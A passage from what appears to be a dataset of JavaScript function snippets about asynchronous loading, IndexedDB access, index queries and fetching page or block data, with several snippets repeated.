found.\");\r\n }else{\r\n return block;\r\n }\r\n }\r\n });\r\n }","function load(index) {\n return loadInternal(getLView(), index);\n}","function load(index) {\n return loadInternal(getLView(), index);\n}","async load () {}","function asyncGet() {\n return new Promise(function (success, fail) {\n let xhr = new XMLHttpRequest();\n xhr.open(\"GET\", rootURL + \"list\", true);\n xhr.onload = () => {\n if (xhr.status === 200)\n success(JSON.parse(xhr.responseText));\n else fail(alert(xhr.statusText));\n };\n xhr.onerror = () => fail(alert(xhr.statusText));\n xhr.send();\n });\n}","async index () {\n const transactions = await Transaction.all();\n return transactions;\n }","async index () {\n const abastecimento = await Abastecimento.all();\n\n return abastecimento;\n }","initDB(tables) {\n let self = this;\n return new Promise(function (resolve, reject) {\n let req = self.indexDbApi.open(self.dbName, self.dbV);\n let db;\n let tableNames = Object.keys(tables);\n let tableIndexes = Object.values(tables);\n\n req.onerror = function (e) {\n console.log('DB init Error');\n reject(e);\n };\n req.onsuccess = function (e) {\n db = e.target.result;\n console.log('DB init Success');\n setTimeout(function () {\n resolve(db);\n }, 100);\n };\n req.onupgradeneeded = function (e) {\n db = e.target.result;\n let store;\n for (let i = 0; i < tableNames.length; i++) {\n if (!db.objectStoreNames.contains(tableNames[i])) {\n store = db.createObjectStore(tableNames[i], {keyPath: self.keyPath, autoIncrement: false});\n console.log('TABLE ' + tableNames[i] + ' created Success');\n }\n for (let j = 0; j < tableIndexes[i].length; j++) {\n store.createIndex(tableIndexes[i][j][0], tableIndexes[i][j][0], {unique: tableIndexes[i][j][1]});\n }\n }\n console.log(\"onupgradeneeded\");\n };\n });\n\n }","function syncIt() {\n return getIndexedDB()\n .then(sendToServer)\n .catch(function(err) {\n return err;\n })\n}","_nextLoadHandler(handlers, index=0) {\n return utils.promise.result(this._executeLoadHandler(handlers[index]))\n .then(() => ++index === handlers.length ? Promise.resolve() : this._nextLoadHandler(handlers, index));\n }","function syncDatabaseIndexDB() {\n\n //initialises the indexedDB database\n initDatabase();\n\n fetch('/index/events')\n .then(response => {\n return response.json();\n })\n .then(events => {\n clearEvent();\n addEvents(events);\n })\n .catch(err => {\n\n });\n fetch('/index/stories')\n .then(response => {\n return response.json();\n })\n .then(stories => {\n clearStory();\n addStories(stories)\n //console.log(events);\n })\n .catch(err => {\n\n });\n}","function getIndex(){\n var xhr = new XMLHttpRequest();\n xhr.open(\"GET\", '/getIndex', true);\n xhr.onreadystatechange= function() {\n if (this.readyState!==4) return; // not ready yet\n if (this.status===200) { // HTTP 200 OK\n index =this.response;\n getRetrieve();\n } else {\n alert(\"not working!\");\n }\n };\n xhr.send(null);\n}","checkIndex(indexName) {\n return this.indexExists(indexName)\n .then(found => found ? Promise.resolve() : Promise.reject(new errors.InternalServerError('Index not created.')));\n }","function dbIndexQuery(index, indexName){\n var tx = dbRequest.result.transaction('task')\n var store = tx.objectStore('task');\n const statusIndex= store.index(index);\n const getStatus=statusIndex.getAll(indexName);\n\n getStatus.onsuccess=(e)=>{\n\n let web= e.target.result\n let webKey=getStatus.key\n web.map((pend)=>{\n createLi(pend.time,pend.task,pend.status,activityDisplay)\n console.log(web)\n\n })\n }\n }","getPairsIndex() {\n return tslib_1.__awaiter(this, void 0, void 0, function* () {\n return yield this.getRestData('/pairs');\n });\n }","function testFunc(index) {\n return new Promise(function (resolve) {\n setTimeout(() => resolve(index), Math.random() * 11);\n });\n}","indexExists(indexName) {\n return new Promise((resolve, reject) => {\n this.client.indices.exists({index: indexName}, (err, found) => {\n if (err) reject(err);\n resolve(found);\n });\n });\n }","function DISABLEDsetup_database_objects_table_async(indexedDbName, objectStoreName, keyId_json_path,table_id, node, table_conf, header_conf,column_conf) {\n\n\t/*\n\t * indexedDbName\n\t * objectStore\n\t * \n\t * \n\t */\n\ttry {\n\t return new Promise(\n\t\t function (resolve, reject) {\n\n\t\n//var table_conf = JSON.parse(JSON.stringify(t));\n//var header_conf = JSON.parse(JSON.stringify(h));\n//var column_conf = JSON.parse(JSON.stringify(c));\n\n\nconsole.debug(\"# setup_database_objects_table\" );\n //console.debug(\"objectStore: \" + objectStoreName);\n//console.debug(\"indexedDbName: \" + indexedDbName);\n // console.debug(\"node: \" + JSON.stringify(node));\n\t\n //console.debug(\"table_conf: \" + JSON.stringify(table_conf));\n //console.debug(\"header_conf: \" + JSON.stringify(header_conf));\n //console.debug(\"column_conf: \" + JSON.stringify(column_conf));\n\n \n // ##########\n // list all objects in db\n // ##########\n\n\n // var table_obj = createTable(table_conf, key);\n\n var div_table_obj = document.createElement(\"div\");\n div_table_obj.setAttribute(\"class\", \"tableContainer\");\n var table_obj = document.createElement(\"table\");\n\n table_obj.setAttribute(\"class\", \"scrollTable\");\n table_obj.setAttribute(\"width\", \"100%\");\n table_obj.setAttribute(\"id\", table_id);\n table_obj.setAttribute(\"indexedDbName\", indexedDbName);\n table_obj.setAttribute(\"objectStoreName\", objectStoreName);\n \n\n div_table_obj.appendChild(table_obj);\n\n var thead = document.createElement(\"thead\");\n thead.setAttribute(\"class\", \"fixedHeader\");\n thead.appendChild(writeTableHeaderRow(header_conf));\n\n table_obj.appendChild(thead);\n\n node.appendChild(table_obj);\n\n var tbody = document.createElement(\"tbody\");\n tbody.setAttribute(\"class\", \"scrollContent\");\n \n node.appendChild(tbody);\n\n var dbRequest = indexedDB.open(indexedDbName);\n dbRequest.onerror = function (event) {\n reject(Error(\"Error text\"));\n };\n\n dbRequest.onupgradeneeded = function (event) {\n // Objectstore does not exist. Nothing to load\n event.target.transaction.abort();\n reject(Error('Not found'));\n };\n\n \n dbRequest.onsuccess = function (event) {\n var database = event.target.result;\n var transaction = database.transaction(objectStoreName, 'readonly');\n var objectStore = transaction.objectStore(objectStoreName);\n\n if ('getAll' in objectStore) {\n // IDBObjectStore.getAll() will return the full set of items\n // in our store.\n objectStore.getAll().onsuccess = function (event) {\n const res = event.target.result;\n // console.debug(res);\n for (const url of res) {\n\n const tr = writeTableRow(url, column_conf, keyId_json_path);\n\n // create add row to table\n\n tbody.appendChild(tr);\n\n }\n\n };\n // add a line where information on a new key can be added to\n // the database.\n // document.querySelector(\"button.onAddDecryptionKey\").onclick\n // = this.onAddDecryptionKey;\n\n } else {\n // Fallback to the traditional cursor approach if getAll\n // isn't supported.\n \n var timestamps = [];\n objectStore.openCursor().onsuccess = function (event) {\n var cursor = event.target.result;\n if (cursor) {\n console.debug(cursor.value);\n // timestamps.push(cursor.value);\n cursor.continue();\n } else {\n // logTimestamps(timestamps);\n }\n };\n\n \n }\n\n };\n table_obj.appendChild(tbody);\n node.appendChild(table_obj);\n resolve (div_table_obj);\n\n \n});\n} catch (e) {\n console.debug(e)\n}\n\n\n}","static LoadFromMemoryAsync() {}","async loadData() {\n if (!this.load_data) throw new Error('no load data callback provided');\n\n return await Q.nfcall(this.load_data);\n }","getFullList() {\n return new Promise((resolve) => {\n // get first page to refresh total page count\n this.getPageData(1).then((firstPage) => {\n const pages = { 1: firstPage };\n // save totalPages as a constant to avoid race condition with pages added during this\n // process\n const { totalPages } = this;\n\n if (totalPages <= 1) {\n resolve(firstPage);\n } else {\n // now fetch all the missing pages\n Array.from(new Array(totalPages - 1), (x, i) => i + 2).forEach((pageNum) => {\n this.getPageData(pageNum).then((newPage) => {\n pages[pageNum] = newPage;\n // look if all pages were collected\n const missingPages = Array.from(new Array(totalPages), (x, i) => i + 1)\n .filter((i) => !(i in pages));\n if (missingPages.length === 0) {\n // collect all the so-far loaded pages in order (sorted keys)\n // and flatten them into 1 array\n resolve([].concat(...Object.keys(pages).sort().map((key) => pages[key])));\n }\n });\n });\n }\n });\n });\n }","static LoadFromFileAsync() {}","function load(index){return loadInternal(getLView(),index);}","load() {\n return Object(tslib__WEBPACK_IMPORTED_MODULE_0__[\"__awaiter\"])(this, void 0, void 0, function* () { });\n }","getFullList() {\n return new Promise((resolve) => {\n // get first page to refresh total page count\n this.getPageData(1).then((firstPage) => {\n const pages = { 1: firstPage };\n // save totalPages as a constant to avoid race condition with pages added during this\n // process\n const { totalPages } = this;\n\n if (totalPages === 1) {\n resolve(firstPage);\n }\n\n // now fetch all the missing pages\n Array.from(new Array(totalPages - 1), (x, i) => i + 2).forEach((pageNum) => {\n this.getPageData(pageNum).then((newPage) => {\n pages[pageNum] = newPage;\n // look if all pages were collected\n const missingPages = Array.from(new Array(totalPages), (x, i) => i + 1).filter(\n i => !(i in pages),\n );\n // eslint-disable-next-line no-console\n console.log('missingPages', missingPages);\n if (missingPages.length === 0) {\n // collect all the so-far loaded pages in order (sorted keys)\n // and flatten them into 1 array\n resolve([].concat(...Object.keys(pages).sort().map(key => pages[key])));\n }\n });\n });\n });\n });\n }","async loadSearch() {\n let fs = this;\n return fetchJSONFile(fs.index, function(data) {\n //data = data.filter(function(page) {\n // return page.lang == document.documentElement.lang;\n //})\n fs.fuse = new Fuse(data, fs.fuseConfig);\n fs.isInit = true;\n console.log(\"hugo-fuse-search: Fuse.js was succesfuly instantiated.\");\n }, function(status, statusText) {\n console.log(\"hugo-fuse-search: retrieval of index file was unsuccesful (\\\"\" + fs.index + \"\\\": \" + status + \" - \" + statusText + \")\")\n });\n }","function gvpLoadPromise () {\n if (context.uriAddressableDefsEnabled) {\n return Promise[\"resolve\"]();\n } else {\n return context.globalValueProviders.loadFromStorage();\n }\n }","async function index(req, res) {}","async index () {\n const status = await VisitaStatus.all();\n return status;\n }","resolveWhenListIsPopulated(fn, orderedList, index, ctx) {\n\t\tconst _promise = new Promise(function(resolve) {\n\t\t\tconst _resolve = resolve;\n\t\t\tfn(orderedList, index, ctx, _resolve);\n\t\t});\n\t\treturn _promise;\n\t}","loadState() {\n return Promise.resolve();\n }","async index({ request, response, view }) {\n return await Bebida.all();\n }","function LoadPaneDataAsync(pane_index, callback) {\n if (pane_index < 0 && pane_index > pane_count - 1) return;\n if (paneStatuses[\"p\" + pane_index]) return;\n\n $.ajax({\n url: options.url,\n data: { pn: pane_index + 1, cid: options.currSort },\n dataType: \"json\",\n error: function (jqXHR, textStatus, errorThrown) { },\n //complete: function (jqXHR, textStatus) { loading = false; },\n success: function (data, status) {\n if (data.code > 0) {\n paneDatas[\"_\" + pane_index] = data.dataItem;\n _loadPaneDataHandler(pane_index, data.dataItem);\n callback && callback();\n }\n }\n });\n }","getBlockByIndex() {\n this.server.route({\n method: 'GET',\n path: '/block/{index}',\n handler: (request, h) => {\n return new Promise ((resolve,reject) => {\n const blockIndex = request.params.index ?\n encodeURIComponent(request.params.index) : -1;\n if (isNaN(blockIndex)) { \n reject(Boom.badRequest());\n } else {\n this.blockChain.getBlockHeight().then((chainHeight)=>{\n if (blockIndex <=chainHeight && blockIndex >-1)\n {\n this.blockChain.getBlock(blockIndex).then ((block)=>{\n resolve(block);\n });\n } else {\n reject(Boom.badRequest());\n }\n });\n }\n });\n }\n });\n }","async fetchQueue( endpoint ){\n\t\treturn await axios.get( endpoint )\n\t}","async index () {\n const properties = Property.all() \n return properties\n }","function _getIndexedDB(callback) {\n var transaction = _newIDBTransaction();\n var objStore = transaction.objectStore('offlineItems');\n var keyRange = IDBKeyRange.lowerBound(0);\n var cursorRequest = objStore.index('byDate').openCursor(keyRange);\n var returnableItems = [];\n transaction.oncomplete = function(e) { callback(returnableItems); };\n cursorRequest.onsuccess = function(e) {\n var result = e.target.result;\n if (!!result == false) { return; }\n returnableItems.push(result.value);\n result.continue();\n };\n cursorRequest.onerror = function() { console.error(\"error\"); };\n }","load() {\n return Promise.resolve(false /* identified */);\n }","list() {\n return this.ready.then(db => {\n const transaction = db.transaction([STORE_NAME], 'readonly');\n const store = transaction.objectStore(STORE_NAME);\n const request = store.index('store').getAll(IDBKeyRange.only(this.name));\n return waitForRequest(request);\n }).then(files => {\n const result = {};\n files.forEach(file => {\n result[file.fileID] = file.data;\n });\n return result;\n });\n }","getBlockByIndex() {\n this.server.route({\n method: 'GET',\n path: '/block/{index}',\n handler: (request, h) => {\n return new Promise ((resolve,reject) => {\n const blockIndex = request.params.index ?\n encodeURIComponent(request.params.index) : -1;\n if (isNaN(blockIndex)) { \n reject(Boom.badRequest());\n } else {\n this.blockChain.getBlockHeight().then((chainHeight)=>{\n if (blockIndex <=chainHeight && blockIndex >-1)\n {\n this.blockChain.getBlock(blockIndex).then ((newBlock)=>{\n resolve(JSON.stringify(newBlock));\n });\n } else {\n reject(Boom.badRequest());\n }\n });\n }\n });\n }\n });\n }","function loadIndexes() {\n // Get search indexes.\n dataService.fetch('get', '/api/admin/indexes').then(\n function (data) {\n $scope.activeIndexes = data;\n // Get mappings configuration.\n dataService.fetch('get', '/api/admin/mappings').then(\n function (mappings) {\n // Reset the scopes variables for mappings.\n $scope.activeMappings = {};\n $scope.inActiveMappings = {};\n\n // Filter out active indexes.\n for (var index in mappings) {\n if (!$scope.activeIndexes.hasOwnProperty(index)) {\n $scope.inActiveMappings[index] = mappings[index];\n }\n else {\n $scope.activeMappings[index] = mappings[index];\n }\n }\n },\n function (reason) {\n $scope.message = reason.message;\n $scope.messageClass = 'alert-danger';\n }\n );\n },\n function (reason) {\n $scope.message = reason.message;\n $scope.messageClass = 'alert-danger';\n }\n );\n }","function reference(index) {\n return loadInternal(index, contextViewData);\n}","async getBlock(index) {\r\n // return Block as a JSON object\r\n return JSON.parse(await getDBData(index))\r\n }","function createNewPromise(callback, id, index) {\n return new Promise((resolve, reject) => {\n callback(resolve, reject, id, index);\n });\n}","static getFromIndexedDB(name, version, objStore, callback){\n\t\tDBHelper.openIndexedDB(name, version).then(function(db) {\n\t\t\tlet tx = db.transaction(objStore);\n\t\t\tlet store = tx.objectStore(objStore);\n\n\t\t\treturn store.getAll().then((response) => {\n\t\t\t\tif(response.length) {\n\t\t\t\t\tcallback(null, response);\n\t\t\t\t} else {\n\t\t\t\t\tcallback('There is no records in IndexedDB', null);\n\t\t\t\t}\n\t\t\t});\n\t\t});\n\t}","function ɵɵload(index) {\n return loadInternal(getLView(), index);\n}","fetch() {\r\n return new Promise((resolve, reject) => {\r\n const t = time.measure.start()\r\n this.docClient.scan({ TableName: this.table }, (err, data) => {\r\n time.measure.end(t, `Fetch (scan) from table ${this.table}`)\r\n if (err) {\r\n reject(err)\r\n } else {\r\n resolve(data.Items)\r\n }\r\n })\r\n })\r\n }","getBlockByIndex() {\n this.server.route({\n method: 'GET',\n path: '/block/{index}',\n handler: async (request, h) => {\n let blockIndex = parseInt(request.params.index);\n const result = await this.blockchain.getBlock(blockIndex);\n return result.statusCode !== undefined ? result : await this.blockchain.addDecodedStoryToReturnObj(JSON.stringify(result).toString());\n }\n });\n }","getInitialIndexes() {\n this.setState({\n initialLoading: true,\n initialLoadText: 'índices...',\n loadError: false\n });\n this.subscribe(\n TimeseriesService.list({template_category: 'emac-index', max_events: 1}),\n data => {\n this.setState(state => ({\n indexes: data,\n tableData: generateTableData(Object.values(state.targets), data, state.tickets, availability),\n initialLoading: false,\n lastUpdate: moment().format(config.DATETIME_FORMAT)\n }));\n this.setDataUpdate();\n },\n (err) => this.setState({loadError: true, initialLoading: false})\n );\n }","async index () {\n return await Operator.all()\n }","function loadFromIndex(storeName, indexName, innerFunction, callback) {\n var cursor = db.transaction([storeName], 'readonly').objectStore(storeName).index(indexName).openCursor();\n \n cursor.onsuccess = function(event) {\n var result = this.result;\n if (result) {\n innerFunction(result);\n result.continue();\n }\n else {\n callback();\n }\n };\n \n }","loadPage(rawPath) {\n const pagePath = (0,_find_path__WEBPACK_IMPORTED_MODULE_2__.findPath)(rawPath);\n\n if (this.pageDb.has(pagePath)) {\n const page = this.pageDb.get(pagePath);\n\n if (true) {\n return Promise.resolve(page.payload);\n }\n }\n\n if (this.inFlightDb.has(pagePath)) {\n return this.inFlightDb.get(pagePath);\n }\n\n const inFlightPromise = Promise.all([this.loadAppData(), this.loadPageDataJson(pagePath)]).then(allData => {\n const result = allData[1];\n\n if (result.status === PageResourceStatus.Error) {\n return {\n status: PageResourceStatus.Error\n };\n }\n\n let pageData = result.payload;\n const {\n componentChunkName,\n staticQueryHashes = []\n } = pageData;\n const finalResult = {};\n const componentChunkPromise = this.loadComponent(componentChunkName).then(component => {\n finalResult.createdAt = new Date();\n let pageResources;\n\n if (!component) {\n finalResult.status = PageResourceStatus.Error;\n } else {\n finalResult.status = PageResourceStatus.Success;\n\n if (result.notFound === true) {\n finalResult.notFound = true;\n }\n\n pageData = Object.assign(pageData, {\n webpackCompilationHash: allData[0] ? allData[0].webpackCompilationHash : ``\n });\n pageResources = toPageResources(pageData, component);\n } // undefined if final result is an error\n\n\n return pageResources;\n });\n const staticQueryBatchPromise = Promise.all(staticQueryHashes.map(staticQueryHash => {\n // Check for cache in case this static query result has already been loaded\n if (this.staticQueryDb[staticQueryHash]) {\n const jsonPayload = this.staticQueryDb[staticQueryHash];\n return {\n staticQueryHash,\n jsonPayload\n };\n }\n\n return this.memoizedGet(`${\"\"}/page-data/sq/d/${staticQueryHash}.json`).then(req => {\n const jsonPayload = JSON.parse(req.responseText);\n return {\n staticQueryHash,\n jsonPayload\n };\n });\n })).then(staticQueryResults => {\n const staticQueryResultsMap = {};\n staticQueryResults.forEach(({\n staticQueryHash,\n jsonPayload\n }) => {\n staticQueryResultsMap[staticQueryHash] = jsonPayload;\n this.staticQueryDb[staticQueryHash] = jsonPayload;\n });\n return staticQueryResultsMap;\n });\n return Promise.all([componentChunkPromise, staticQueryBatchPromise]).then(([pageResources, staticQueryResults]) => {\n let payload;\n\n if (pageResources) {\n payload = { ...pageResources,\n staticQueryResults\n };\n finalResult.payload = payload;\n _emitter__WEBPACK_IMPORTED_MODULE_1__.default.emit(`onPostLoadPageResources`, {\n page: payload,\n pageResources: payload\n });\n }\n\n this.pageDb.set(pagePath, finalResult);\n return payload;\n });\n });\n inFlightPromise.then(response => {\n this.inFlightDb.delete(pagePath);\n }).catch(error => {\n this.inFlightDb.delete(pagePath);\n throw error;\n });\n this.inFlightDb.set(pagePath, inFlightPromise);\n return inFlightPromise;\n }","loadPage(rawPath) {\n const pagePath = (0,_find_path__WEBPACK_IMPORTED_MODULE_2__.findPath)(rawPath);\n\n if (this.pageDb.has(pagePath)) {\n const page = this.pageDb.get(pagePath);\n\n if (true) {\n return Promise.resolve(page.payload);\n }\n }\n\n if (this.inFlightDb.has(pagePath)) {\n return this.inFlightDb.get(pagePath);\n }\n\n const inFlightPromise = Promise.all([this.loadAppData(), this.loadPageDataJson(pagePath)]).then(allData => {\n const result = allData[1];\n\n if (result.status === PageResourceStatus.Error) {\n return {\n status: PageResourceStatus.Error\n };\n }\n\n let pageData = result.payload;\n const {\n componentChunkName,\n staticQueryHashes = []\n } = pageData;\n const finalResult = {};\n const componentChunkPromise = this.loadComponent(componentChunkName).then(component => {\n finalResult.createdAt = new Date();\n let pageResources;\n\n if (!component) {\n finalResult.status = PageResourceStatus.Error;\n } else {\n finalResult.status = PageResourceStatus.Success;\n\n if (result.notFound === true) {\n finalResult.notFound = true;\n }\n\n pageData = Object.assign(pageData, {\n webpackCompilationHash: allData[0] ? allData[0].webpackCompilationHash : ``\n });\n pageResources = toPageResources(pageData, component);\n } // undefined if final result is an error\n\n\n return pageResources;\n });\n const staticQueryBatchPromise = Promise.all(staticQueryHashes.map(staticQueryHash => {\n // Check for cache in case this static query result has already been loaded\n if (this.staticQueryDb[staticQueryHash]) {\n const jsonPayload = this.staticQueryDb[staticQueryHash];\n return {\n staticQueryHash,\n jsonPayload\n };\n }\n\n return this.memoizedGet(`${\"\"}/page-data/sq/d/${staticQueryHash}.json`).then(req => {\n const jsonPayload = JSON.parse(req.responseText);\n return {\n staticQueryHash,\n jsonPayload\n };\n });\n })).then(staticQueryResults => {\n const staticQueryResultsMap = {};\n staticQueryResults.forEach(({\n staticQueryHash,\n jsonPayload\n }) => {\n staticQueryResultsMap[staticQueryHash] = jsonPayload;\n this.staticQueryDb[staticQueryHash] = jsonPayload;\n });\n return staticQueryResultsMap;\n });\n return Promise.all([componentChunkPromise, staticQueryBatchPromise]).then(([pageResources, staticQueryResults]) => {\n let payload;\n\n if (pageResources) {\n payload = { ...pageResources,\n staticQueryResults\n };\n finalResult.payload = payload;\n _emitter__WEBPACK_IMPORTED_MODULE_1__.default.emit(`onPostLoadPageResources`, {\n page: payload,\n pageResources: payload\n });\n }\n\n this.pageDb.set(pagePath, finalResult);\n return payload;\n });\n });\n inFlightPromise.then(response => {\n this.inFlightDb.delete(pagePath);\n }).catch(error => {\n this.inFlightDb.delete(pagePath);\n throw error;\n });\n this.inFlightDb.set(pagePath, inFlightPromise);\n return inFlightPromise;\n }","async index () {\n const deposito = await Deposito.all();\n return deposito;\n }","loadPage(rawPath) {\n const pagePath = Object(_find_path__WEBPACK_IMPORTED_MODULE_3__[\"findPath\"])(rawPath);\n\n if (this.pageDb.has(pagePath)) {\n const page = this.pageDb.get(pagePath);\n\n if (true) {\n return Promise.resolve(page.payload);\n }\n }\n\n if (this.inFlightDb.has(pagePath)) {\n return this.inFlightDb.get(pagePath);\n }\n\n const inFlightPromise = Promise.all([this.loadAppData(), this.loadPageDataJson(pagePath)]).then(allData => {\n const result = allData[1];\n\n if (result.status === PageResourceStatus.Error) {\n return {\n status: PageResourceStatus.Error\n };\n }\n\n let pageData = result.payload;\n const {\n componentChunkName,\n staticQueryHashes = []\n } = pageData;\n const finalResult = {};\n const componentChunkPromise = this.loadComponent(componentChunkName).then(component => {\n finalResult.createdAt = new Date();\n let pageResources;\n\n if (!component) {\n finalResult.status = PageResourceStatus.Error;\n } else {\n finalResult.status = PageResourceStatus.Success;\n\n if (result.notFound === true) {\n finalResult.notFound = true;\n }\n\n pageData = Object.assign(pageData, {\n webpackCompilationHash: allData[0] ? allData[0].webpackCompilationHash : ``\n });\n pageResources = toPageResources(pageData, component);\n } // undefined if final result is an error\n\n\n return pageResources;\n });\n const staticQueryBatchPromise = Promise.all(staticQueryHashes.map(staticQueryHash => {\n // Check for cache in case this static query result has already been loaded\n if (this.staticQueryDb[staticQueryHash]) {\n const jsonPayload = this.staticQueryDb[staticQueryHash];\n return {\n staticQueryHash,\n jsonPayload\n };\n }\n\n return this.memoizedGet(`${\"\"}/page-data/sq/d/${staticQueryHash}.json`).then(req => {\n const jsonPayload = JSON.parse(req.responseText);\n return {\n staticQueryHash,\n jsonPayload\n };\n });\n })).then(staticQueryResults => {\n const staticQueryResultsMap = {};\n staticQueryResults.forEach(({\n staticQueryHash,\n jsonPayload\n }) => {\n staticQueryResultsMap[staticQueryHash] = jsonPayload;\n this.staticQueryDb[staticQueryHash] = jsonPayload;\n });\n return staticQueryResultsMap;\n });\n return Promise.all([componentChunkPromise, staticQueryBatchPromise]).then(([pageResources, staticQueryResults]) => {\n let payload;\n\n if (pageResources) {\n payload = _objectSpread(_objectSpread({}, pageResources), {}, {\n staticQueryResults\n });\n finalResult.payload = payload;\n _emitter__WEBPACK_IMPORTED_MODULE_2__[\"default\"].emit(`onPostLoadPageResources`, {\n page: payload,\n pageResources: payload\n });\n }\n\n this.pageDb.set(pagePath, finalResult);\n return payload;\n });\n });\n inFlightPromise.then(response => {\n this.inFlightDb.delete(pagePath);\n }).catch(error => {\n this.inFlightDb.delete(pagePath);\n throw error;\n });\n this.inFlightDb.set(pagePath, inFlightPromise);\n return inFlightPromise;\n }","async function initIndex() {\n await initThemes()\n fetchAlbumsImgur()\n M.updateTextFields();\n}","async index () {\n const atividade = await AtividadeDoDia.all();\n return atividade;\n }","async function run () {\n const escenicArticles = await getEscenicArticles(client, elascticsearchSourceIndexParams).catch(console.log)\n const transformedArticles = transformEscenicArticle(escenicArticles)\n transformedArticles\n .map(article => createUrlNavIdMapping(article))\n // await bulkIndex(transformedArticles)\n}","function fetchDocAsynchronously(metadata, row, winningRev$$1) {\n var key = metadata.id + \"::\" + winningRev$$1;\n docIdRevIndex.get(key).onsuccess = function onGetDoc(e) {\n row.doc = decodeDoc(e.target.result);\n if (opts.conflicts) {\n var conflicts = collectConflicts(metadata);\n if (conflicts.length) {\n row.doc._conflicts = conflicts;\n }\n }\n fetchAttachmentsIfNecessary(row.doc, opts, txn);\n };\n }","function fetchDocAsynchronously(metadata, row, winningRev$$1) {\n var key = metadata.id + \"::\" + winningRev$$1;\n docIdRevIndex.get(key).onsuccess = function onGetDoc(e) {\n row.doc = decodeDoc(e.target.result);\n if (opts.conflicts) {\n var conflicts = collectConflicts(metadata);\n if (conflicts.length) {\n row.doc._conflicts = conflicts;\n }\n }\n fetchAttachmentsIfNecessary(row.doc, opts, txn);\n };\n }","function fetchDocAsynchronously(metadata, row, winningRev$$1) {\n var key = metadata.id + \"::\" + winningRev$$1;\n docIdRevIndex.get(key).onsuccess = function onGetDoc(e) {\n row.doc = decodeDoc(e.target.result);\n if (opts.conflicts) {\n var conflicts = collectConflicts(metadata);\n if (conflicts.length) {\n row.doc._conflicts = conflicts;\n }\n }\n fetchAttachmentsIfNecessary(row.doc, opts, txn);\n };\n }","function fetchDocAsynchronously(metadata, row, winningRev$$1) {\n var key = metadata.id + \"::\" + winningRev$$1;\n docIdRevIndex.get(key).onsuccess = function onGetDoc(e) {\n row.doc = decodeDoc(e.target.result);\n if (opts.conflicts) {\n var conflicts = collectConflicts(metadata);\n if (conflicts.length) {\n row.doc._conflicts = conflicts;\n }\n }\n fetchAttachmentsIfNecessary(row.doc, opts, txn);\n };\n }","getAllByIndex(storeName, indexName, keyRange) {\n const data = [];\n return from(new Promise((resolve, reject) => {\n openDatabase(this.indexedDB, this.dbConfig.name, this.dbConfig.version)\n .then((db) => {\n validateBeforeTransaction(db, storeName, reject);\n const transaction = createTransaction(db, optionsGenerator(DBMode.readonly, storeName, reject, resolve));\n const objectStore = transaction.objectStore(storeName);\n const index = objectStore.index(indexName);\n const request = index.openCursor(keyRange);\n request.onsuccess = (event) => {\n const cursor = event.target.result;\n if (cursor) {\n data.push(cursor.value);\n cursor.continue();\n }\n else {\n resolve(data);\n }\n };\n })\n .catch((reason) => reject(reason));\n }));\n }","function index_esm_async(fn, onError) {\n return function () {\n var args = [];\n for (var _i = 0; _i < arguments.length; _i++) {\n args[_i] = arguments[_i];\n }\n Promise.resolve(true).then(function () {\n fn.apply(void 0, args);\n }).catch(function (error) {\n if (onError) {\n onError(error);\n }\n });\n };\n}","function fetchDocAsynchronously(metadata, row, winningRev$$1) {\n var key = metadata.id + \"::\" + winningRev$$1;\n docIdRevIndex.get(key).onsuccess = function onGetDoc(e) {\n row.doc = decodeDoc(e.target.result) || {};\n if (opts.conflicts) {\n var conflicts = collectConflicts(metadata);\n if (conflicts.length) {\n row.doc._conflicts = conflicts;\n }\n }\n fetchAttachmentsIfNecessary(row.doc, opts, txn);\n };\n }","constructor(core, baseURL = \"/ext/index/X/tx\") {\n super(core, baseURL);\n /**\n * Get last accepted tx, vtx or block\n *\n * @param encoding\n * @param baseURL\n *\n * @returns Returns a Promise.\n */\n this.getLastAccepted = (encoding = \"cb58\", baseURL = this.getBaseURL()) => __awaiter(this, void 0, void 0, function* () {\n this.setBaseURL(baseURL);\n const params = {\n encoding\n };\n try {\n const response = yield this.callMethod(\"index.getLastAccepted\", params);\n return response.data.result;\n }\n catch (error) {\n console.log(error);\n }\n });\n /**\n * Get container by index\n *\n * @param index\n * @param encoding\n * @param baseURL\n *\n * @returns Returns a Promise.\n */\n this.getContainerByIndex = (index = \"0\", encoding = \"cb58\", baseURL = this.getBaseURL()) => __awaiter(this, void 0, void 0, function* () {\n this.setBaseURL(baseURL);\n const params = {\n index,\n encoding\n };\n try {\n const response = yield this.callMethod(\"index.getContainerByIndex\", params);\n return response.data.result;\n }\n catch (error) {\n console.log(error);\n }\n });\n /**\n * Get contrainer by ID\n *\n * @param containerID\n * @param encoding\n * @param baseURL\n *\n * @returns Returns a Promise.\n */\n this.getContainerByID = (containerID = \"0\", encoding = \"cb58\", baseURL = this.getBaseURL()) => __awaiter(this, void 0, void 0, function* () {\n this.setBaseURL(baseURL);\n const params = {\n containerID,\n encoding\n };\n try {\n const response = yield this.callMethod(\"index.getContainerByID\", params);\n return response.data.result;\n }\n catch (error) {\n console.log(error);\n }\n });\n /**\n * Get container range\n *\n * @param startIndex\n * @param numToFetch\n * @param encoding\n * @param baseURL\n *\n * @returns Returns a Promise.\n */\n this.getContainerRange = (startIndex = 0, numToFetch = 100, encoding = \"cb58\", baseURL = this.getBaseURL()) => __awaiter(this, void 0, void 0, function* () {\n this.setBaseURL(baseURL);\n const params = {\n startIndex,\n numToFetch,\n encoding\n };\n try {\n const response = yield this.callMethod(\"index.getContainerRange\", params);\n return response.data.result;\n }\n catch (error) {\n console.log(error);\n }\n });\n /**\n * Get index by containerID\n *\n * @param containerID\n * @param encoding\n * @param baseURL\n *\n * @returns Returns a Promise.\n */\n this.getIndex = (containerID = \"\", encoding = \"cb58\", baseURL = this.getBaseURL()) => __awaiter(this, void 0, void 0, function* () {\n this.setBaseURL(baseURL);\n const params = {\n containerID,\n encoding\n };\n try {\n const response = yield this.callMethod(\"index.getIndex\", params);\n return response.data.result.index;\n }\n catch (error) {\n console.log(error);\n }\n });\n /**\n * Check if container is accepted\n *\n * @param containerID\n * @param encoding\n * @param baseURL\n *\n * @returns Returns a Promise.\n */\n this.isAccepted = (containerID = \"\", encoding = \"cb58\", baseURL = this.getBaseURL()) => __awaiter(this, void 0, void 0, function* () {\n this.setBaseURL(baseURL);\n const params = {\n containerID,\n encoding\n };\n try {\n const response = yield this.callMethod(\"index.isAccepted\", params);\n return response.data.result;\n }\n catch (error) {\n console.log(error);\n }\n });\n }","function load_model(index){\n if(index >= self.models.length){\n loaded.resolve();\n }else{\n var model = self.models[index];\n self.pos_widget.loading_message(_t('Loading')+' '+(model.label || model.model || ''), progress);\n var fields = typeof model.fields === 'function' ? model.fields(self,tmp) : model.fields;\n var domain = typeof model.domain === 'function' ? 